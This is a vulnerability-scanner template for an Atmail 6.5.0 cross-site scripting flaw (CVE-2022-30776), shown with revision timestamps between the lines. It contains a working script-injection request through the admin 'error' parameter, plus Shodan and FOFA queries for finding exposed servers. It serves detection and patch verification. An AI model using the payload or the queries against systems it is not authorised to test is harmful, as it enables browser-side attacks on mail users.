2022-05-19 20:05:58 +00:00
id : CVE-2022-30776
2022-05-17 11:45:20 +00:00
info :
2022-09-16 19:50:10 +00:00
name : Atmail 6.5.0 - Cross-Site Scripting
2022-05-17 11:45:20 +00:00
author : 3th1c_yuk1
2022-09-16 20:03:07 +00:00
severity : medium
2022-05-24 08:15:52 +00:00
description : |
2022-09-16 19:50:10 +00:00
Atmail 6.5.0 contains a cross-site scripting vulnerability via the index.php/admin/index/ 'error' parameter.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the latest security patches or upgrade to a newer version of Atmail that addresses this vulnerability.
2022-05-17 11:45:20 +00:00
reference :
2022-05-19 20:05:58 +00:00
- https://medium.com/@bhattronit96/cve-2022-30776-cd34f977c2b9
2022-05-24 08:15:52 +00:00
- https://www.atmail.com/
2022-05-24 09:52:52 +00:00
- https://help.atmail.com/hc/en-us/sections/115003283988
2022-09-16 19:50:10 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-30776
2023-11-08 06:56:05 +00:00
- https://medium.com/%40bhattronit96/cve-2022-30776-cd34f977c2b9
2022-05-25 19:15:01 +00:00
classification :
2022-09-16 20:03:07 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-09-16 19:50:10 +00:00
cve-id : CVE-2022-30776
2022-09-16 20:03:07 +00:00
cwe-id : CWE-79
2023-12-12 11:07:52 +00:00
epss-score : 0.00112
2024-03-04 08:20:22 +00:00
epss-percentile : 0.43631
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:atmail:atmail:6.5.0:*:*:*:*:*:*:*
2022-05-24 08:15:52 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : atmail
product : atmail
2023-09-06 11:59:08 +00:00
shodan-query : http.html:"atmail"
2024-05-31 19:23:20 +00:00
fofa-query : body="powered by atmail"
2024-01-14 09:21:50 +00:00
tags : cve2022,cve,atmail,xss
2022-05-17 11:45:20 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-05-17 11:45:20 +00:00
- method : GET
path :
2022-05-24 08:15:52 +00:00
- "{{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
2022-05-17 11:45:20 +00:00
matchers-condition : and
matchers :
- type : word
2022-05-24 08:15:52 +00:00
part : body
2022-05-17 11:45:20 +00:00
words :
2022-05-24 08:15:52 +00:00
- "Error: 1<script>alert(document.domain)</script>"
2022-05-17 11:45:20 +00:00
- type : word
part : header
words :
2022-05-24 08:15:52 +00:00
- text/html
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 4b0a00483046022100c82f1ca657f09b291726404df01aebad442149a633e659a5ac883843d2731477022100941da06ae2c61be7bd56f19c40662273ad5d0668821e4da881f35ffce57e9022:922c64590222798bb761d5b6d8e72950